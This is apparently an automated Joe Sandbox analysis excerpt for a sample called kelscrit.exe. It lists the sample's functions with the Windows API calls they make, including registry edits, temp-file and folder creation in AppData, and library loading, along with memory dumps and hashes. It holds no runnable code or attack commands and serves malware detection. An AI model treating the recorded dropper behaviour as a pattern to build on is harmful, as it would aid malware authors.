Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64

Function 6F951817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F951BFF: GlobalFree.KERNEL32(?), ref: 6F951E74
Part of subcall function 6F951BFF: GlobalFree.KERNEL32(?), ref: 6F951E79
Part of subcall function 6F951BFF: GlobalFree.KERNEL32(?), ref: 6F951E7E

GlobalFree.KERNEL32(00000000), ref: 6F9518C5
FreeLibrary.KERNEL32(?), ref: 6F95194B
GlobalFree.KERNEL32(00000000), ref: 6F951970

Part of subcall function 6F95243E: GlobalAlloc.KERNEL32(00000040,?), ref: 6F95246F

Part of subcall function 6F952810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6F951896,00000000), ref: 6F9528E0

Part of subcall function 6F951666: wsprintfW.USER32 ref: 6F951694

Strings

, xrefs: 6F951951

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 2d603677b7faf98f0c166d8f67e8ddd0e27947d8387a01ec6d7ca9d3dfd106fa
Instruction ID: f1bc40d8e6a9c98be62b0425c4ee0de7d4627680e58f2f17960be4a52e23e213
Opcode Fuzzy Hash: 2d603677b7faf98f0c166d8f67e8ddd0e27947d8387a01ec6d7ca9d3dfd106fa
Instruction Fuzzy Hash: C1418E719043419BEB24DF74E888BD537ACAF17368F044466EA199E0C6DB74E1F8CA60

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000023,00000011,00000002), ref: 004024FA
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,00000011,00000002), ref: 0040253A
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,00000011,00000002), ref: 00402622

Strings

C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 004024EB, 004024F9, 00402510, 00402524, 0040252F

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst46B6.tmp
API String ID: 2655323295-1406930569
Opcode ID: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction ID: 9ef1a868ac7dccf2a0d827ba333ec8444b87bd6dca13d8647f6a5f0896484b93
Opcode Fuzzy Hash: 2d5a3a6cbba744cb4f49549abd2315f3a0bbe869b0ca912842418fb0edf1760d
Instruction Fuzzy Hash: DF11B131D00119BEEF00AFA1DE4AAAEB6B4EF44318F20443FF404B61D1D7B88E009A68

Function 00406096 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004060B4
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403550,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C), ref: 004060CF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040609B
nsa, xrefs: 004060A3

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768

Function 004015E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405EF1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\kelscrit.exe"), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040163F

Part of subcall function 00405ACB: CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,00000000,000000F0), ref: 00401672

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00401665

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 1892508949-2593783087
Opcode ID: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction ID: 104414052cab316a424bfe0d2ff1de268c148956b102069c6a2fab9df067ebf3
Opcode Fuzzy Hash: 522b783c9de46c7eb01671ee67dcdc22f4b8e2acc15c0cd2b2b5e6563b12514b
Instruction Fuzzy Hash: 0911BE31804514ABCF206FA5CD01AAE36B0EF14368B25493BE941B22F1C63A4A41DA5D

Function 00406445 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Call,?,00000000,004066B6,80000002), ref: 0040648B
RegCloseKey.KERNELBASE(?), ref: 00406496

Strings

Call, xrefs: 0040644C

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 39ab2095516423f533248995afa5b88f9e2e33bd0920f2eea258779ff0fd120f
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: AB017C72500209AADF21CF51CC09EDB3BACFB55364F01803AFD1AA21A0D778D964DBA8

Function 004020FD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402128

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402139
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004021B6

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction ID: ae41dde4eff0046a081fa93f434b6203791b13f397c20c3345ef6f3f33f6a532
Opcode Fuzzy Hash: 67a013c8050cadbf48abc2068aad44e6bd126c58b8073b2edd87dd65272e994b
Instruction Fuzzy Hash: 4B21A131904104EACF10AFA5CF89A9E7A71BF44369F30413BF105B91E5CBBD99829A2D

Function 00402324 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(74DF3420,0042FAB8,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

lstrlenW.KERNEL32 ref: 00402364
lstrlenW.KERNEL32(00000000), ref: 0040236F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402398

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction ID: efc15b5f6e7b569f76b1b900a6dd714e3f258eaed93f5a56bcbfb146dffa85c7
Opcode Fuzzy Hash: 8ce371ef362fb3a0bf5470d2f9de7d7a8b9c8f0d3a32a51a843dbca6af91aa01
Instruction Fuzzy Hash: 94118671914318AADB00EFF58D0AA9EB7F8AF04314F10443FA405F71D5D7B8C9418B69

Function 004025C3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025F6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402609
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction ID: 66810f11062e6ea255b80fddf1e3d4c9698f673e023b75e7ff91682f7f8ae36f
Opcode Fuzzy Hash: b3e66f98151b13811c6deab5670c9eebffc93282c8efb5a28582c7ee2f6ef350
Instruction Fuzzy Hash: 43017C71A04615ABEB149F94DE58AAFB668EF80348F10443EF101B61D0D7B85E41976D

Function 0040254F Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402580
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,00000011,00000002), ref: 00402622

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction ID: 5bae25e85081f80c41e61f77185b89043c8d74e7c66b6edfbb666f5a0c3c1719
Opcode Fuzzy Hash: 49ca1381ded4af27f8ac224b17b3ae694fb74f22b67379b644ce572c4f680cb7
Instruction Fuzzy Hash: 45118C71904216EADF15DFA0CA599AEB7B4FF04348F20443FE402B62D0D3B84A45DB9E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Function 00402459 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040247B
RegCloseKey.ADVAPI32(00000000), ref: 00402484

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction ID: 8c17455a9467dbb84b7eb3278e4b377a62f271589af7dc4cff81b1a675067d18
Opcode Fuzzy Hash: 263822df44c0b265f16a0eeb88216eb0e8276d8e6a5932a421656751ee5808a7
Instruction Fuzzy Hash: 6CF06832A045219BDB10BBA5DA8E5AE62A5AB44354F11443FE502B71C1CAF84D02977D

Function 00405ACB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405B0D
GetLastError.KERNEL32 ref: 00405B1B

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
